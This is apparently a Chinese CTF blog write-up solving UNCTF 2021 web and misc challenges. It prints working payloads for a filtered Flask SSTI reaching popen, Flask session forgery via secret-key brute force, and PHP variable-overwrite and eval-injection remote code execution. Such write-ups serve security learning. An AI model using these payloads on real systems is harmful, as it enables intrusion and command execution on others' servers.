unctf练习2

前言

继续刷,还有一些web没解决

easyflask

进入网页后让我们登录admin,但是啥都没有,这里扫描器应该是可以扫出来的,但是我直接猜路由猜出来了……

/login路由登录,register路由注册,那么我们先注册一个admin再登录。

好像是环境问题,复现的时候页面不会跳转,应该会有个/secret_route_you_do_not_know路由,这个路由存在ssti,fuzz发现'%', '_', 'eval', 'open', 'flag',in, '-', 'class', 'mro', '[', ']', '\"', '\''被过滤,因此使用attr和request.header.xn代替黑名单,取出eval执行,绕过下划线与引号,payload:

1
?guess={{()|attr(request.args.class)|attr(request.args.bases)|attr(request.args.subclasses)()|attr(request.args.a)(117)|attr(request.args.b)|attr(request.args.c)|attr(request.args.d)(request.args.e)(request.args.f)|attr(request.args.g)()}}&class=__class__&bases=__base__&subclasses=__subclasses__&a=__getitem__&b=__init__&c=__globals__&d=get&e=popen&f=cat flag.txt&g=read

传入获取flag

后来发现这题还有考flask session的伪造,应该是出题人数据库没弄好导致非预期了,先看session:

1
eyJ1c2VybmFtZSI6Im1ybDY0In0.YjHmyg.GRqDKK3KExT0DN_Db_TYKi7Rf8g

这个和token是类似的东西,这里我们需要爆破出来secret_key,参考下面这篇博客:
通过SECRET_KEY绕过flask的session认证

使用flask_unsign工具爆破出secret_key的值,然后伪造session绕过验证,从而登录admin。

easyphp

一点都不ez的php审计,审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 <?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}

getVars();
if (isset($source)) {
highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

直接先看主要部分,我们发现第一个匹配md5($password) === $adminPassword,但是那个$adminPassword根本就不是md5,因此我们要寻找一下可以利用的点。

1
2
foreach ($_GET as $key => $value) {
global ${$key};

这个地方有一个变量覆盖,我们如果传入adminPassword=c4ca4238a0b923820dcc509a6f75849b的话就可以覆盖掉原题目中的这个变量,那么这个密码的md5就变成可控的了。

然后是sha1碰撞,弱类型比较直接找老朋友0e就可以了,因此这里的payload:

1
?source&password=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&verif=0e1290633704

继续看,要我们传入一个名称为var1或者var2的值,并且值的长度要小于12。这里有几种方法都能解决问题,php复杂,语句闭合等等都可以构造出rce,payload:

1
2
3
4
5
?source&password=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&verif=0e1290633704&var1=\";$a();?>&a=phpinfo
//语句闭合

?source&password=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&verif=0e1290633704&var1=${$a()}&a=phpinfo
//php复杂

phpmysql

这题还是复习下吧,审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
show_source(__FILE__);
echo("欢迎来到unctf2021,have fun"."<br>");

$db_host=$_POST['host'];
$db_user=$_POST['user'];
$db_pwd=$_POST['pwd'];
$db_port=$_POST['port'];

if($db_host==""){
die("数据库地址不能为空!");
}

if(is_numeric($db_host)){
echo("fakeflag is /flag"."<br>");
if(preg_match("/;|\||&/is",$db_user) || preg_match("/;|\||&/is",$db_pwd) || preg_match("/;|\||&/is",$db_port)){
die("嘉然今天吃什么");
}
system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
echo("Maybe you can do someting else"."<br>");
if(!isset($db_user) || !isset($db_pwd)){
eval("echo new Exception(\"<script>alert('关注嘉然,顿顿解馋!!!');</script>\");");
}
else{
$db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
eval("echo new $db_user($db_pwd);");
}
}

我们首先要定位到我们需要的rce上,这里能利用的应该是最后一句,因此我们就要对user与pwd大做文章。这里用语句闭合的方法,首先host是必须要的,随便输入一个非数字就可以了。接着是payload:

1
host=a&user=DirectoryIterator&pwd="/");system("ls /");echo ("1"

利用DirectoryIterator使语句成立,并且配合pwd闭合语句,这样eval中就变成了:

1
eval("echo new DirectoryIterator("/");system("ls /");echo ("1");"); 

构造rce成功。

后来发现这题还有一种解法,异常报错执行rce:

1
host=a&user=exception&pwd=system("ls /")

具体原理可以参考下面这篇博客:
连异常报错也能拿到flag?

俄罗斯方块人大战奥特曼

游戏关,找js,发现这样一串:

1
2
3
4
5
6
7
const go = new Go();
const name ="blocks";
const curWwwPath=window.document.location.href;
const pathName=window.document.location.pathname;
const pos=curWwwPath.indexOf(pathName);
const localhostPath=curWwwPath.substring(0,pos);
let url = `${localhostPath}/${name}.wasm.gz`;

发现存在wasm包,下载,打开后搜索flag,找到html文档,进入文档即可获取flag。

这题好水,就是说给游戏关的js寻找提供了一种思路吧。

EZ_IMAGE(misc)

最后记一道拼图题,这题用到了两个工具:montage和gaps

下载附件后发现拿到的都是名字以unctf开头的图片,总共225张,用montage把图片整合:

1
montage unctf*.jpg -tile 15x15 -geometry 60x60+0+0 test.jpg

接着用gaps工具进行拼图使图片复原:

1
gaps --image=test.jpg --generation=30 --population=300 --size=60

获得flag。这两个工具对于拼图处理有很强大的作用,可以说又收集到新工具了。